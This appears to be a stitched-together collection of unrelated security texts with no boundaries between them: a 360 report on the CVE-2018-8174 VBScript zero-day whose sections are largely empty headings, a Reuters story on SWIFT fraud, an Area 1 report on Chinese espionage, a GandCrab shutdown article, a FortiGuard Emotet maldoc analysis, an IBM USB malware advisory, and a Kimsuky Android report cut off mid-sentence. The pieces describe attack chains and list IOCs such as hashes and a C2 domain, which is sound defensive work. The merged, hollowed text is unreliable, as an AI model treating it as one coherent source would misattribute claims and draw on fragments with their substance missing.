Team of 360 Core Security Division detected a high-risk 0-day vulnerabilities. The vulnerability affects the latest version of Internet Explorer and applications that use the IE kernel and has been found to be used for targeted APT attacks. On the same day, 360 immediately communicated with Microsoft and submitted details of the vulnerability to Microsoft. Microsoft confirmed this vulnerability on the morning of April 20th and released an official security patch on May 8th. The 0-day vulnerability was fixed and it was named CVE-2018-8174. CVE-2018-8174 is a remote code execution vulnerability of Windows VBScript engine. Attackers can embed malicious VBScript to Office document or website and then obtain the credential of the current user, whenever the user clicks, to execute arbitrary code. 2. **Vulnerability Principles** Through the statistical analysis of the vulnerability samples, we found out that obfuscation was used massively. Therefore, we filtered out all the duplicated obfuscation and renamed all the identifiers. Seeing from the POC created by using the exploit samples we captured, the principles of the exploit is obvious. 3. **Exploitation** The 0-day exploit exploits UAF multiple times to accomplish type confusion. It fakes and overrides the array object to perform arbitrary address reading and writing. In the end, it releases code to execute after constructing an object. Code execution does not use the traditional ROP or GodMod, but through the script layout Shellcode to stabilize the use. #### V Powershell Payload After the bait DOC file is executed, it will start to execute the Powershell command to the next step payload. First of all, Powershell will fuzzy match incoming parameter names, and it is case-insensitive. Second step, decrypt the obfuscated command. Next, the script uses a special User-Agent access URL page to request the next load and execute. #### VI UAC Bypass Payload In addition to use PowerShell to load the payload, the bait DOC file also runs rundll32.exe to execute another backdoor locally. There are several notable features of the backdoor program it uses: the program uses COM port to copy files, realize UAC bypass and two system DLL hijacks; it also uses the default DLLs of cliconfg.exe and SearchProtocolHost.exe to take advantage of whitelist; finally in the process of component delivery, use file steganography and memory reflection loading method to avoid traffic monitoring and achieve no file landing load. 1. **Retro backdoor execution** The backdoor program used in this attack is actually the Retro series backdoor known to be used by the APT-C-06 organization. The following is a detailed analysis of the implementation process of the backdoor program. 2. **Retro backdoor evolvement** The back door program used in the APT-C-06 organization’s early APT operation was Lucker. It is a set of self-developed and customized modular Trojans. The set of Trojans is powerful, with keyboard recording, voice recording, screen capture, file capture and U disk operation functions, etc. The Lucker’s name comes from the PDB path of this type of Trojan, because most of the backdoor’s function use the LK abbreviation. #### VII Attribution 1. **Decryption Algorithm** During the analysis, we found the decryption algorithm that malware used is identical to APT-C-06’s decryption algorithm. 2. **PDB Path** The PDB path of the malware used in this attack has a string of “Retro”. It is one specific feature of Retro Trojan family. 3. **Victims** In the process of tracing victims, we found one special compromised machine. It has a large amount of malware related to APT-C-06. By looking at these samples in chronological order, the evolution of the malicious program can be clearly seen. The victim has been under constant attack acted by APT-C-06 since 2015. The early samples on the compromised machine could be associated with DarkHotel. Then it was attacked by Lurker Trojan. Recently it was under the attack exploiting 0-day vulnerabilities CVE-2018-8174. #### VIII Conclusion APT-C-06 is an overseas APT organization which has been active for a long time. Its main targets are China and some other countries. Its main purpose is to steal sensitive data and conduct cyber-espionage. DarkHotel can be regarded as one of its series of attack activities. The attacks against China specifically targeted government, scientific research institutions and some particular field. The attacks can be dated back to 2007 and are still very active. Based on the evidence we have, the organization may be a hacker group or intelligence agency supported by a foreign government. The attacks against China have never stopped over the past 10 years. The Techniques the group uses keep evolving through time. Based on the data we captured in 2017, targets in China are trade related institutions and concentrated in provinces that have frequent trading activities. The group has been conducting long-term monitoring on the targets to stole confidential data. During the decades of cyber attacks, APT-C-06 exploits several 0-day vulnerabilities and used complicated malware. It has dozens of function modules and over 200 malicious codes. In April, 2018, the Advanced Threat Response Team of 360 Core Security Division takes the lead in capturing the group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild, and then discovers the new type attack – Office related attack exploiting 0-day VBScript vulnerabilities. After the capture of the new activity, we contacted Microsoft immediately and shared detailed information with them. Microsoft’s official security patch was released on 8th May. Now, we published this detailed report to disclose and analyze the attack. ### Appendix IOC ### About 360 Helios Team is the APT(Advanced Persistent Attack) research and analysis team in Qihoo 360. The team is dedicated in APT attack investigation, threat incident response and underground economy industrial chain studies. Since the establishment in December, 2014, the team has successfully integrated 360’s big data base and built up a quick reversing and correlation procedure. So far, more than 30 APT and underground economy groups have been discovered and revealed. 360 Helios also provides threat intelligence assessment and response solutions for enterprises. Contact: [email protected]
# Special Report: Cyber Thieves Exploit Banks' Faith in SWIFT Transfer Network Tom Bergin, Nathan Layne LONDON/CHICAGO (Reuters) - Shortly after 7 p.m. on January 12, 2015, a message from a secure computer terminal at Banco del Austro (BDA) in Ecuador instructed San Francisco-based Wells Fargo to transfer money to bank accounts in Hong Kong. Wells Fargo complied. Over 10 days, Wells approved a total of at least 12 transfers of BDA funds requested over the secure SWIFT system. In all, Wells Fargo transferred $12 million of BDA’s money to accounts across the globe. Both banks now believe those funds were stolen by unidentified hackers, according to documents in a BDA lawsuit filed against Wells Fargo in New York this year. BDA declined comment. Wells Fargo, which also initially declined comment on the lawsuit, said in a statement to Reuters that it “properly processed the wire instructions received via authenticated SWIFT messages” and was not responsible for BDA’s losses. BDA is suing Wells Fargo on the basis that the U.S. bank should have flagged the transactions as suspicious. Wells Fargo has countered that security lapses in BDA’s own operations caused the Ecuadorean bank’s losses. Hackers had secured a BDA employee’s SWIFT logon credentials, Wells Fargo said in a February court filing. SWIFT, an acronym for the Society for Worldwide Interbank Financial Telecommunication, is not a party to the lawsuit. Neither bank reported the theft to SWIFT, which said it first learned about the cyber attack from a Reuters inquiry. “We were not aware,” SWIFT said in a statement responding to Reuters inquiries. “We need to be informed by customers of such frauds if they relate to our products and services, so that we can inform and support the wider community. We have been in touch with the bank concerned to get more information, and are reminding customers of their obligations to share such information with us.” SWIFT says it requires customers to notify SWIFT of problems that can affect the “confidentiality, integrity, or availability of SWIFT service.” However, SWIFT has no rule specifically requiring client banks to report hacking thefts. Banks often do not report such attacks out of concern they make the institution appear vulnerable, former SWIFT employees and cyber security experts told Reuters. The Ecuador case illuminates a central problem with preventing such fraudulent transfers: Neither SWIFT nor its client banks have a full picture of the frequency or the details of cyber thefts made through the network, according to more than a dozen former SWIFT executives, users, and cyber security experts interviewed by Reuters. The case raises new questions about the oversight of the SWIFT network and its communications with member banks about cyber thefts and risks. The network has faced intense scrutiny since cyber thieves stole $81 million in February from a Bangladesh central bank account at the Federal Reserve Bank of New York. It’s unclear what SWIFT tells its member banks when it does find out about cyber thefts, which are typically first discovered by the bank that has been defrauded. SWIFT spokeswoman Natasha de Terán said that the organization “was transparent with its users” but declined to elaborate. SWIFT declined to answer specific questions about its policies for disclosing breaches. On Friday, following the publication of this Reuters story, SWIFT urged all of its users to notify the network of cyber attacks. “It is essential that you share critical security information related to SWIFT with us,” SWIFT said in a communication to users. Reuters was unable to determine the number or frequency of cyber attacks involving the SWIFT system, or how often the banks report them to SWIFT officials. The lack of disclosure may foster overconfidence in SWIFT network security by banks, which routinely approve transfer requests made through the messaging network without additional verification, former SWIFT employees and cyber security experts said. The criminals behind such heists are exploiting banks’ willingness to approve SWIFT requests at face value, rather than making additional manual or automated checks, said John Doyle, who held a variety of senior roles at SWIFT between 1980 and 2005. “SWIFT doesn’t replace prudent banking practice,” he said, noting that banks should verify the authenticity of withdrawal or transfer requests, as they would for money transfers outside the SWIFT system. SWIFT commits to checking the codes on messages sent into its system, to ensure the message has originated from a client’s terminal, and to send it to the intended recipient quickly and securely, former SWIFT executives and cyber security experts said. But once cyber thieves obtain legitimate codes and credentials, they said, SWIFT has no way of knowing they are not the true account holders. The Bank for International Settlements, a trade body for central banks, said in a November report that increased information sharing on cyber attacks is crucial to helping financial institutions manage the risk. “The more they share the better,” said Leo Taddeo, chief security officer at Cryptzone and a former special agent in charge with the FBI’s cyber crime division in New York. ## SYSTEMIC RISK SWIFT, a cooperative owned and governed by representatives of the banks it serves, was founded in 1973 and operates a secure messaging network that has been considered reliable for four decades. But recent attacks involving the Belgium-based cooperative have underscored how the network’s central role in global finance also presents systemic risk. SWIFT is not regulated, but a group of ten central banks from developed nations, led by the National Bank of Belgium, oversee the organization. Among its stated guidelines is a requirement to provide clients with enough information to enable them “to manage adequately the risks related to their use of SWIFT.” However, some former SWIFT employees said that the cooperative struggles to keep banks informed on risks of cyber fraud because of a lack of cooperation from the banks themselves. SWIFT’s 25-member board of directors is filled with representatives of larger banks. “The banks are not going to tell us too much,” said Doyle, the former SWIFT executive. “They wouldn’t like to destabilize confidence in their institution.” Banks also fear notifying SWIFT or law enforcement of security breaches because that could lead to regulatory investigations that highlight failures of risk management or compliance that could embarrass top managers, said Hugh Cumberland, a former SWIFT marketing executive who is now a senior associate with cyber security firm Post-Quantum. Cases of unauthorized money transfers rarely become public, in part because disagreements are usually settled bilaterally or through arbitration, which is typically private, said Salvatore Scanio, a lawyer at Washington, D.C.-based Ludwig & Robinson. Scanio said he consulted on a dispute involving millions of dollars of stolen funds and the sending of fraudulent SWIFT messages similar to the BDA attack. He declined to name the parties or provide other details. Theoretically, SWIFT could require its customers, mainly banks, to inform it of any attacks - given that no bank could risk the threat of exclusion from the network, said Lieven Lambrecht, the head of human resources at SWIFT for a year-and-a-half through May 2015. But such a rule would require the agreement of its board, which is mainly made up of senior executives from the back office divisions of the largest western banks, who would be unlikely to approve such a policy. ## FIGHT OVER LIABILITY This week, Vietnam’s Tien Phong Bank said its SWIFT account, too, was used in an attempted hack last year. That effort failed, but it is another sign that cyber-criminals are increasingly targeting the messaging network. In the Ecuadorean case, Wells Fargo denies any liability for the fraudulent transfers from BDA accounts. Wells Fargo said in court records that it did not verify the authenticity of the BDA transfer requests because they came through SWIFT, which Wells called “among the most widely used and secure” systems for money transfers. BDA is seeking recovery of the money, plus interest. Wells Fargo is attempting to have the case thrown out. New York-based Citibank also transferred $1.8 million in response to fraudulent requests made through BDA’s SWIFT terminal, according to the BDA lawsuit against Wells Fargo. Citibank repaid the $1.8 million to BDA, according to a BDA court filing in April. Citibank declined to comment. For its part, Wells Fargo refunded to BDA $958,700 out of the $1,486,230 it transferred to an account in the name of a Jose Mariano Castillo at Wells Fargo in Los Angeles, according to the lawsuit. Reuters could not locate Castillo or verify his existence. ## ANATOMY OF A CYBER HEIST The BDA-Wells Fargo case is unusual in that one bank took its correspondent bank to court, thus making the details public, said Scanio, the Washington attorney. BDA acknowledged in a January court filing that it took more than a week after the first fraudulent transfer request for BDA to discover the missing money. After obtaining a BDA employee’s SWIFT logon, the thieves then fished out previously canceled or rejected payment requests that remained in BDA’s SWIFT outbox. They then altered the amounts and destinations on the transfer requests and reissued them, both banks said in filings. While Wells Fargo has claimed in court filings that failures of security at BDA are to blame for the breach, BDA has alleged that Wells could easily have spotted and rejected the unusual transfers. BDA noted that the payment requests were made outside of its normal business hours and involved unusually large amounts. The BDA theft and others underscore the need for banks on both sides of such transactions – often for massive sums – to rely less on SWIFT for security and strengthen their own verification protocols, Cumberland said. “This image of the SWIFT network and the surrounding ecosystem being secure and impenetrable has encouraged complacency,” he said.
# PHISHING DIPLOMACY The mission of Area 1 Security is to eliminate phishing, and through the course of our normal business, we often discover the origins and outcomes of cyber campaigns. Phishing Diplomacy is our report that details a Chinese government cyber campaign targeting intergovernmental organizations, ministries of foreign affairs, ministries of finance, trade unions, and think tanks. Over 100 organizations were identified in this campaign by Area 1 Security as targets of the Chinese government’s Strategic Support Force (SSF), which ultimately led to the breach of a diplomatic communications network of the European Union. This report is not the first to expose a specific cyber campaign, nor will it have a direct impact on deterring the actors responsible. Our report shows that Chinese government hacking is technically unremarkable and consistent in three areas across all cyber campaigns: 1. Phishing remains the dominant method through which cyber actors gain access into computer networks 9 out of 10 times. Cyber attacks are more akin to an assembly line than to individual snowflakes. Rather than characterizing the attacks as sophisticated, we see them as imaginative and persistent. Very little about cyber attacks is cutting-edge computer science. However, there is a high level of creativity in the diverse phishing lures used to gain access and in the attackers’ ability to identify non-obvious targets that allow them to achieve their desired outcomes. Cyber actors continually use their imagination to find the weakest links in the digital chain, breaching their intended targets through open side doors instead of breaking the locks down on the front door. Because the cybersecurity doom narrative has become so embellished, we’ve lost our nerve to take action to prevent future damages. Around the world, cyber campaigns are evolving to be an essential tool for waging war, disrupting trade, stealing property, and conducting espionage with limited resources or repercussions. Our democracy remains susceptible to cybersecurity attacks; our computing infrastructure is permeated with deep vulnerabilities; major corporations entrusted with the safeguarding of information continue to be compromised; and we as individuals have adopted a laissez-faire attitude towards the whole thing. Cyber campaigns linked to China have served for many years as a catalyst for both national-security and cybersecurity experts to raise awareness and allocate resources to an issue historically relegated to the basements of organizations. After years of publicly censuring the PRC for cyber-based economic espionage, Washington and Beijing reached an agreement in 2015 to curtail the hacking of private companies for commercial gain. As 2018 comes to a close, tensions between the two countries over hacking allegations are once again on the rise. ## Campaign Details Beginning in April of 2015, Area 1 Security’s active sensors and research team began observing technical artifacts of a cyber campaign directed at intergovernmental organizations, ministries of foreign affairs, and ministries of finance, as well as trade unions and think tanks. In late November 2018, Area 1 Security discovered that this campaign, via phishing, successfully gained access into the computer network of the Ministry of Foreign Affairs of Cyprus, a communications network used by the European Union to facilitate cooperation on foreign policy matters. This network, known as COREU, operates between the 28 EU countries, the Council of the European Union, the European External Action Service, and the European Commission. ### Step 1 Initial access was gained by phishing network administrators and senior staff within the target organization to steal their credentials (usernames and passwords). ### Step 2 Credentials obtained via phishing allowed direct access into the networks with associated network privileges transferred by the user compromised. ### Step 3 Malware was introduced into the network to create a persistent backdoor and establish a path for command and control communications. In this example, PlugX was used as the malware. Samples analyzed by Area 1 Security can be connected to campaigns as early as 2010 and remain undetected by antivirus solutions. ### Step 4 Once within the network, a series of host and network surveys are conducted to help the attacker orient themselves as to where they are. ### Step 5 Native Windows console commands, such as net use and at, allow movement from machine to machine within the network. At this point, while within the network, SSF was able to identify the files and machines of interest. ### Step 6 Once the data is identified, it is staged in preparation for exfiltration using xcopy, the Windows command to copy data remotely across computer networks. ### Step 7 Before removing data from the target network, files were compressed into a password-protected RAR archive on the local machine and the file was renamed from “rar.exe” to “infos.txt.” In some instances, we observed SSF splitting large files into smaller parts using the -v command option. The intent is to spread the volume of data taken at a given time to avoid anomaly detection and large network spikes of outbound data volumes. ### Step 8 The final step is to remove the data from the network. It was completed by sending the files to public cloud services such as Google Drive using a tool based on a publicly available utility called send.exe. Access to these cloud services is over a TLS encrypted channel, which is difficult to inspect, often overlooked, and typical of normal network activity. Cloud services provide the perfect platform for data exfiltration storage and data analysis. Once the data has been exfiltrated, all evidence of the prior activity is removed. ## Tools ### Analysis of PlugX The PlugX implant was used in these attacks to move throughout the victims’ networks. One particular sample, with SHA-256 hash c1c80e237f6fbc2c61b82c3325dd836f3849ca036a28007617e4e27ba2f16c4b and compilation timestamp Sun Jun 17 17:44:58 2012, was found as an artifact in the campaign. Common to the PlugX family, DLL side-loading is used to initiate the malicious implant using a benign, legitimate program. The actor loads three files onto the target system: the legitimate signed application executable, the loader DLL, and the encrypted payload. When the executable is run, the payload is decrypted, decompressed, and loaded into memory, which allows the implant to bypass many defenses. ### Analysis of send.exe The primary exfiltration tool of CHN24, simply called “google send” by the actor, is written using the Borland Delphi environment. The command-line tool, typically named send.exe on the victim host, is responsible for establishing a connection to Google Drive and uploading local files to the actor’s account on the cloud service. The developers of send.exe based the tool on Astonsoft’s Google Drive “Delphi Component” library that includes components to write applications that can interact with the Google Drive API in Delphi. ## Tactics, Techniques, and Procedures (TTPs) Area 1 Security mapped SSF’s TTPs to the appropriate MITRE ATT&CK matrix as detailed below. - Spear phishing messages with malicious links - Spear phishing messages with malicious attachments - Browsing target web sites from C2 servers - Dynamic DNS domains used for C2 - Parking domains at localhost 127.0.0.1 during periodic dormancy in active operations - Periodically turning the C2s on and off to conduct surveys to collect victim information and check their persistence in victim organizations (Maintenance Mode) - Leverage reverse shells to laterally spread RAR SFX archives with PlugX implant on multiple victim hosts - Maintain a large implant presence across many victim hosts in the same organization - Moving data locally on host to staging directory - Systematically collect and gather large amounts of data from Desktop/Documents/Downloads folders - Dump and pass hashes/passwords using WCE - Use of encryption in malware implants - Use of a Google cloud tool bundled with OpenSSL libraries to exfiltrate data to cloud resources - Renaming or deleting tools after use - Targeting or exfiltrating data preceding state official visits - Attack campaigns ending prior to diplomats/politicians meeting with Chinese officials - Password protected RAR archives for data exfiltration ## Indicators - NVSMARTMAX.DLL (PLUGX LOADER) - Command and Control Address: updates.organiccrap[.]com ## About Area 1 Security Area 1 Security is the first to bring accountability to cybersecurity. Backed by top-tier investors, Area 1 Security is led by security, artificial intelligence, and data analytics experts who created a preemptive solution to stop phishing, the number one cause of cyber attacks. Area 1 Security works with organizations worldwide, including Fortune 500 banks, insurance, and tech companies, and healthcare providers to realign their cybersecurity posture for combating the most significant risks, protecting customer data, and stopping attacks before they happen. Area 1 Security is a recipient of Inc. Magazine’s “2018 Inc.’s Best Workplaces” in America.
# GandCrab Ransomware Shutting Down After Claiming to Earn $2 Billion By Lawrence Abrams June 1, 2019 After almost a year and a half, the operators behind the GandCrab Ransomware are shutting down their operation and affiliates are being told to stop distributing the ransomware. Filling the gaps left behind by the shutdown of large scale ransomware operations such as TeslaCrypt, CryptoWall, and Spora, GandCrab exploded into the ransomware world on January 28th, 2018, when they started marketing their services on underground criminal sites. Since then, they had become one of the dominant, if not the most dominant, actors in ransomware operations, with their operations only starting to slow down over the past few months. According to security researchers Damian and David Montenegro who have been following the exploits of GandCrab on the underground hacking and malware forum Exploit.in, the GandCrab operators have posted that they are shutting down their operation. In images provided to BleepingComputer by Damian, we can see the operators stating that they have generated more than $2 billion in ransom payments, with average weekly payments of $2.5 million dollars. They go on to say they have personally earned $150 million, which they have cashed out and invested in legal business entities. With this announcement, GandCrab has said they have stopped promoting the ransomware, asked the affiliates to stop distributing the ransomware within 20 days, and asked their topic to be deleted at the end of the month. They have also told victims to pay for needed decryption now as their keys will be deleted at the end of the month. This could be a last money grab and we hope that the GandCrab devs will follow other large ransomware operations and release the keys when shutting down. BleepingComputer has reached out to the developers and asked them to do so. Historically, BleepingComputer has seen large-scale ransomware operations fill the void left when another ransomware shuts down. It would not be surprising to see another operation spring up in the near future, especially when as noted by GandCrab: "We have proven that by doing evil deeds, retribution does not come." ## Lofty claims of earnings While the operators behind GandCrab most likely made many millions of dollars, the claims of $2 billion in ransom payments are very likely to be untrue. These lofty claims are not surprising, as the developers of GandCrab have always been jokesters and have engaged security researchers in ways most malware developers do not. Using taunts, jokes, and references to organizations and researchers in their code, it was obvious that the GandCrab developers were monitoring us as much as we were monitoring them and got a big kick out of it. For example, in their first release of the ransomware, GandCrab decided to use domain names for their Command & Control servers that are based on organizations and sites known for ransomware research. For example, you can see bleepingcomputer, nomoreransom, eset, and emsisoft listed below in their initial C2 servers: - bleepingcomputer.bit - nomoreransom.bit - esetnod32.bit - emsisoft.bit - gandcrab.bit They also frequently dropped hellos to researchers who analyzed their ransomware. > Hello, #GandCrab :) > — Marcelo Rivero (@MarceloRivero) April 17, 2018 It was not all fun and games, though, for the GandCrab operators also had a vindictive streak. After AhnLab released a vaccine app for GandCrab, the ransomware developers contacted BleepingComputer to tell us that they were releasing a zero-day for the AhnLab v3 Lite antivirus. Their antics and success didn't go unnoticed by other members of Exploit.in who wished them farewell or were saddened to see them leave. While the GandCrab antics have been amusing at times, they ultimately inflicted a lot of pain and suffering on many people who lost their data, work, and potentially even businesses. Their shutdown of operations is a good thing.
# Trends in the Recent Emotet Maldoc Outbreak Emotet is a malware family that steals sensitive and private information from victims' computers. The malware has infected more than a million devices and is considered one of the most dangerous threats of the decade. In addition to analyzing threats, FortiGuard Labs also focuses on how malware spreads. We have observed that the recent Emotet outbreak is being spread through a variety of malicious Microsoft Office files, or maldocs, attached to phishing emails. Once a victim opens the attached document, a VBA Macro or Excel 4.0 Macro is used to execute malicious code that downloads and runs the Emotet malware. In this blog, we will focus on what these malicious documents look like and how they drop Emotet malware onto a victim's local disk. We will first look at the samples captured in this campaign and then examine their propagation trends. ## Affected Platforms - **Microsoft Windows** - **Impacted Users:** Windows users - **Impact:** Controls victim's device and collects sensitive information - **Severity Level:** Critical ## Phishing Emails with Malicious Attachment The recent Emotet outbreak uses phishing emails combined with social engineering to trick victims into loading the malware onto their devices. These emails often include "Re:" or "Fw:" in the subject line to disguise the email as a reply or forwarded message to help convince the target that the email is legitimate. Another technique involves packing the malicious document into a ZIP archive with a password that is included in the body of the text. ## Examining the Malicious Excel Files and Word Documents The attached Excel files and Word documents contain malicious macros. Once opened, they display an image requesting the victim to click the "Enable Content" button in the security warning bar. This enables the malicious macro to be executed. ## Analyzing the Malicious Macros and their Behaviors Macros in Microsoft Office files are usually written in VBA (Visual Basic for Applications). In this case, the Word documents contain malicious VBA code while the Excel files use Excel 4.0 Macro in addition to VBA Macro. We captured five different samples connected with this Emotet campaign that contain differences in the macro code and execution flow. For identification purposes, we have given each sample a tag name, which consists of the year prefix and a suffix with the week of the month, connected by an underscore. | Tag Name | File Type | Macro Type | |----------------|---------------|---------------------| | 2021_NovW3 | Excel/Word | VBA Macro | | 2021_NovW4 | Excel | Excel 4.0 Macro | | 2021_DecW2 | Word | VBA Macro | | 2021_DecW4 | Excel | Excel 4.0 Macro | | 2022_FebW2 | Excel | VBA Macro | ### Sample Analysis **2021_NovW3:** This sample has a VBA function called "Workbook_Open()" or "Document_Open()" that is executed automatically when the file is opened. It then calls another function to write script data to a VBS file and save it in the "C:\ProgramData\" folder. Next, it uses "Wscript.exe" to execute the VBS file. **2021_NovW4:** This is an Excel file that uses formulas on an Excel 4.0 Macro sheet instead of a VBA Macro to execute malicious code. Some sheets are hidden, including the one that contains the malicious formulas. Cell A1 in sheet "FEGFL" is named "Auto_Open" and includes a built-in macro that automatically runs the formula from that cell once the file is opened. **2021_DecW2:** This VBA code includes a function called "AutoOpen()" that automatically runs a macro when the document is opened. In this function, it saves itself as an HTA (HTML Application) file in text format. The script data in the content text area is the only part included in the file. To execute the HTA file, "explorer.exe" on Windows system is used. **2021_DecW4:** In the hidden macro sheet "Macro1", cell F1 is named "Auto_Open" to automatically run the formula when the file is opened. The simple formula uses "mshta.exe" to execute an HTML URL. After decrypting the HTML source code, there is a VBScript code snippet that runs a PowerShell code snippet to download and execute script from a PNG URL. **2022_FebW2:** This sample has the same code and execution flow as "2021_DecW4". It uses a VBA Macro to execute its malicious behaviors. ## Attack Trends in the Latest Emotet Campaign Emotet was first discovered in 2014 and continues to attack victims. The latest Emotet campaign broke out in mid-November of 2021 and is spread using malicious documents attached to phishing emails. FortiGuard Labs has been tracking these malicious documents as well as the number of variants used to evade detection in this campaign. The first attack appeared on November 16, 2021. After that, it spread different types of malicious documents every week until the Christmas break. Once the break ended on January 12, it surged with more frequent and consistent attacks, releasing a large number and variety of malicious documents. ## Conclusion In the previous section, we showed that some types of malicious documents have more timestamps on the timeline than others. According to the occurrence frequency of timestamps, "2021_NovW4" has been the most active, involving more than 50% of the malicious documents discovered. Excel files accounted for 93% of all malicious documents, much higher than Word documents at only 7%. Fortinet customers are protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services. The malicious macros inside the Excel sample can be disarmed by the FortiGuard CDR service. All malicious documents described in this report are detected by FortiGuard AntiVirus. The Emotet malware payloads are also detected by FortiGuard AntiVirus. ## IOCs **Malicious documents (SHA256):** - 3e97f09fc53890ba2d5ae2539b5c8df372ed2506ed217d05ff2cf8899d15b8e6 - 2ecc2a48fa4eadb80367f69799277c54a0fe6dd2220a6a2dd7b81cfba328ed19 - ed180371dfec2186148bbcab99102ce45fb1fcc3764b384c2abcaceba2fa65b6 - 719900e330cecd87250ac1f6c31f2d6f42f226294fb011cf47c442f8d2b7455b - 3ccb809cd97cc08ff380600dcaa5244ef2abd7afd9e7a9f2df7c4e28fee637f0 - e167804a6f36dc99e96909bcededa8a733dd8633037b8b52e8d7881d20446c16 - bd9b8fe173935ad51f14abc16ed6a5bf6ee92ec4f45fd2ae1154dd2f727fb245 - 57fcbb058fc0dfe0cce29676569f2e30d1f8a59345ab161d8183d0769428f4e2 **Emotet malware (SHA256):** - 4900d1e66cef8507b265c0eec3ff94cb5f774847d969e044dc8ccd72334181f5 - 2dcfcaaf3ccd8e06043e651cd5b761ae50f3463c6420d067b661969e0500dce2 - 52f6fce27184b61ceb3c02d360e04dc1489c4136a0ffcbb39c50d27474e4283b - ccbefa930edc4d5b5b34a5dea16c73c9d3f3b4167406c3ae841bc71fce45c68e - cd105196cbf17f11dbff2b623f5bfaf9ef8d91f2598fe3bc2a7da192c2cee457 - 9535c3f02ee8a47ad1392f36a1ff44a3d5cb067ecef748e63e1628bc489c9d90 - ca2b7c0f2a2a42ce586d63ccfcf131f8b99d73521742cc15d6255e76f9278fbc - d5f4292d4f5661ce12dd8384cfbb22a3d17908290ba80d9de3a1697064d248a7
# Storwize USB Initialization Tool May Contain Malicious Code ## Abstract IBM has detected that some USB flash drives containing the initialization tool shipped with the IBM Storwize V3500, V3700, and V5000 Gen 1 systems contain a file that has been infected with malicious code. ## Affected Products The Initialization Tool on the USB flash drive with the part number 01AC585 that shipped with the following system models may have an infected file: - IBM Storwize V3500 - 2071 models 02A and 10A - IBM Storwize V3700 - 2072 models 12C, 24C, and 2DC - IBM Storwize V5000 - 2077 models 12C and 24C - IBM Storwize V5000 - 2078 models 12C and 24C IBM Storwize systems with serial numbers starting with the characters 78D2 are not affected. Neither the IBM Storwize storage systems nor data stored on these systems are infected by this malicious code. Systems not listed above and USB flash drives used for Encryption Key management are not affected by this issue. ## Impact Potential IBM has identified a malicious file distributed on USB flash drives used in the initialization tool for IBM Storwize V3500, V3700, and V5000 Gen 1 systems. When the initialization tool is launched from the USB flash drive, the tool copies itself to a temporary folder on the hard drive of the desktop or laptop during normal operation. With that step, the malicious file is copied with the initialization tool to the following temporary folder: - On Windows systems: `%TMP%\initTool` - On Linux and Mac systems: `/tmp/initTool` **Important:** While the malicious file is copied onto the desktop or laptop, the file is not executed during initialization. The affected Initialization USB flash drive looks like the images below and contains a folder called InitTool. IBM has taken steps to prevent any additional USB flash drives being shipped with this issue. ## Client Actions If you have used the initialization USB flash drive from one of the IBM products listed above and have inserted it into a desktop or laptop to initialize a Storwize system, IBM recommends you verify your antivirus software has already removed the infected file or alternatively remove the directory containing the identified malicious file in the manner described below. IBM recommends ensuring your antivirus products are updated, configured to scan temporary directories, and issues identified by the antivirus product are addressed. To manually remove the malicious file, delete the temporary directory: - On Windows systems: `%TMP%\initTool` - On Linux and Mac systems: `/tmp/initTool` In addition, for Windows systems, ensure the entire directory is deleted (not moved to the Recycle Bin folder). This can be accomplished by selecting the directory and Shift + Right-click + Delete the directory. Further, for Initialization Tool USB flash drives, including those that have not yet been used for installation, IBM recommends taking one of the following steps: 1. Securely destroy the USB flash drive so that it cannot be reused. 2. Repair the USB flash drive so it can be reused: 1. Delete the folder called InitTool on the USB flash drive, which will delete the folder and all the files inside. If using a Windows machine, holding down shift when deleting the folder will ensure that the files are permanently deleted rather than being copied to the recycle bin. 2. Download the Initialization tool package from FixCentral. 3. Unzip the package onto the USB flash drive. 4. Manually scan the USB flash drive with antivirus software. ## Further Information The malicious file has an MD5 hash of `0178a69c43d4c57d401bf9596299ea57`. The malicious file is detected by the following antivirus vendors: - **AhnLab-V3**: Win32/Pondre, Version 3.8.3.16811, Update 20170330 - **ESET-NOD32**: Win32/TrojanDropper.Agent.PYF, Version 15180, Update 20170331 - **Kaspersky**: Trojan.Win32.Reconyc.hvow, Version 15.0.1.13, Update 20170331 - **McAfee**: PWSZbot-FIB!0178A69C43D4, Version 6.0.6.653, Update 20170331 - **McAfee-GW-Edition**: PWSZbot-FIB!0178A69C43D4, Version v2015, Update 20170331 - **Microsoft**: VirTool:Win32/Injector.EG, Version 1.1.13601.0, Update 20170331 - **Qihoo-360**: Virus.Win32.WdExt.A, Version 1.0.0.1120, Update 20170331 - **Symantec**: W32.Faedevour!inf, Version 1.2.1.0, Update 20170330 - **Tencent**: Trojan.Win32.Daws.a, Version 1.0.0.1, Update 20170331 - **TrendMicro**: PE_WINDEX.A, Version 9.740.0.1012, Update 20170331 - **TrendMicro-HouseCall**: PE_WINDEX.A, Version 9.900.0.1004, Update 20170331 - **ZoneAlarm**: Trojan.Win32.Reconyc.hvow, Version 1, Update 20170331 If you have any questions, contact IBM Support.
# Unveil the Evolution of Kimsuky Targeting Android Devices with Newly Discovered Mobile Malware **Author:** Sebin, Lee & Yeongjae, Shin | S2W TALON **Date:** October 24, 2022 ## Executive Summary S2W’s threat research and intelligence center, Talon, recently identified three new types of malware that target Android devices. We named the malicious APKs FastFire, FastViewer, and FastSpy, based on the characteristics of each. Our analysis revealed a significant association with past campaigns attributed to the Kimsuky group. The malware is disguised as a Google security plugin and as “Hancom Office Viewer,” which is a remote access tool based on AndroSpy. All three APKs were confirmed to have been developed by the Kimsuky group and were used to attack South Koreans. As Kimsuky’s mobile targeting strategy becomes more advanced, it is crucial to be cautious about sophisticated attacks targeting Android devices. - Be careful not to open phishing pages on mobile. - Be careful not to download viewer programs and document files from third parties. ## Introduction The North Korean hacking group Kimsuky (aka Thallium, Black Banshee) first became active in 2012 and has targeted various sectors, including media, research, politics, and diplomacy. The group primarily collects information by distributing malware and conducting spear-phishing attacks. While attacks have mainly targeted Windows, instances of attacks on Android devices have also been discovered. In November 2020, we found the mobile version of the AppleSeed family used by Kimsuky. In April 2021, a malicious APK disguised as a mobile security program from KISA (Korea Internet & Security Agency) was distributed. This APK communicated with the C&C server using HTTP/S protocol, stealing information from infected devices. ### Newly Discovered Malware 1. **FastFire**: A malicious APK currently being developed by the Kimsuky group, disguised as a Google security plugin. It receives commands from Firebase, rather than through traditional HTTP/S communication. 2. **FastViewer**: Disguised as “Hancom Viewer,” this mobile viewer program can read Hangul documents (.hwp) and downloads additional malware after stealing information from an infected device. 3. **FastSpy**: Developed based on the source code of AndroSpy, this remote control tool for Android devices is used to perform malicious actions. ### Detailed Analysis of FastFire FastFire contains five malicious classes, but only three are executed. It transmits a 